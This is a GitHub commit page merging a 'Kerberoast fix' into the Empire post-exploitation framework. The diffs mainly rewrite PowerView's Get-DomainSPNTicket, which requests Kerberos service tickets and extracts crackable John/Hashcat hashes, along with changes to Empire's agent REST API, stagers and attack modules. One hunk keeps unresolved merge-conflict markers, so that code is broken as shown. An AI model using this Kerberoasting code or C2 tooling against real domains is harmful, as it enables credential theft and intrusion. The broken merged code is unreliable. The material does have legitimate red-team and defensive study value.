Merge pull request #897 from EmpireProject/kerberoast-fix

Kerberoast fix
readme-wiki
Chris Ross 2018-01-02 15:45:38 -05:00 committed by GitHub
commit 149294c92d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
10 changed files with 109 additions and 39 deletions

View File

@ -2,9 +2,7 @@ version: 2
jobs:
build:
docker:
- image: circleci/python:2.7.13
environment:
- STAGING_KEY: "RANDOM"
- image: circleci/python:2.7
steps:
- checkout
- run:

View File

@ -454,43 +454,73 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of John).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
@ -561,39 +591,55 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16)
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
$Parts.RemoveAt($Parts.Count - 1)
$Hash = $Parts -join 'A48201'
$Hash = $Hash.Insert(32, '$')
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format
$HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
#Prints the PS Object
#Write-Output $Out
#Prints just the hashes
Write-Output $HashFormat
Write-Output $Out
}
}
}
@ -604,6 +650,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
}
}
}
function Get-DomainUser {
<#
.SYNOPSIS

24
empire
View File

@ -750,7 +750,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
for activeAgent in activeAgentsRaw:
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
return jsonify({'agents' : agents})
@ -864,10 +864,32 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
[agentName, agentSessionID] = agentNameID
agentResults = execute_db_query(conn, "SELECT results FROM agents WHERE session_id=?", [agentSessionID])
taskIDs = execute_db_query(conn, "SELECT id from taskings where agent=?", [agentSessionID])
if agentResults[0][0] and len(agentResults[0][0]) > 0:
try:
agentResults = ast.literal_eval(agentResults[0][0])
except ValueError:
break
results = []
if len(agentResults) > 0:
job_outputs = [x.strip() for x in agentResults if not x.startswith('Job')]
for taskID, result in zip(taskIDs, job_outputs):
if not (len(result.split('\n')) == 1 and result.endswith('completed!')):
results.append({'taskID': taskID[0], 'results': result})
else:
results.append({'taskID': taskID[0], 'results': ''})
agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": results})
<<<<<<< HEAD
=======
if agentResults and agentResults[0] and agentResults[0] != '':
agentTaskResults.append({"AgentName":agentSessionID, "AgentResults":agentResults[0]})
>>>>>>> dev
return jsonify({'results': agentTaskResults})

View File

@ -17,6 +17,7 @@ The Stagers() class in instantiated in ./empire.py by the main menu and includes
import fnmatch
import imp
import helpers
import errno
import os
import errno
import macholib.MachO
@ -452,8 +453,8 @@ class Stagers:
raise
else:
pass
file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w')
file = open(jarpath+'Run.java','w')
file.write(javacode)
file.close()
currdir = os.getcwd()

View File

@ -6,6 +6,7 @@ import os
import ssl
import time
import copy
import sys
from pydispatch import dispatcher
from flask import Flask, request, make_response, send_from_directory
# Empire imports

View File

@ -74,7 +74,8 @@ class Module:
instance = self.options['Instance']['Value']
no_defaults = self.options['NoDefaults']['Value']
check_all = self.options['CheckAll']['Value']
scriptEnd = ""
# read in the common module source code
moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1"
script = ""

View File

@ -75,7 +75,7 @@ class Module:
def generate(self, obfuscate=False, obfuscationCommand=""):
moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1"
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")

View File

@ -41,7 +41,7 @@ class Module:
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : False,
'Required' : True,
'Value' : ''
},
'KeyName' : {

View File

@ -29,7 +29,7 @@ class Module:
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
'OpsecSafe': False,
# the module language
'Language' : 'python',

View File

@ -59,7 +59,7 @@ OBFUSCATE_COMMAND = r'Token\All\1'
#
###################################################
conn = sqlite3.connect('../data/empire.db')
conn = sqlite3.connect('%s/data/empire.db'%INSTALL_PATH)
c = conn.cursor()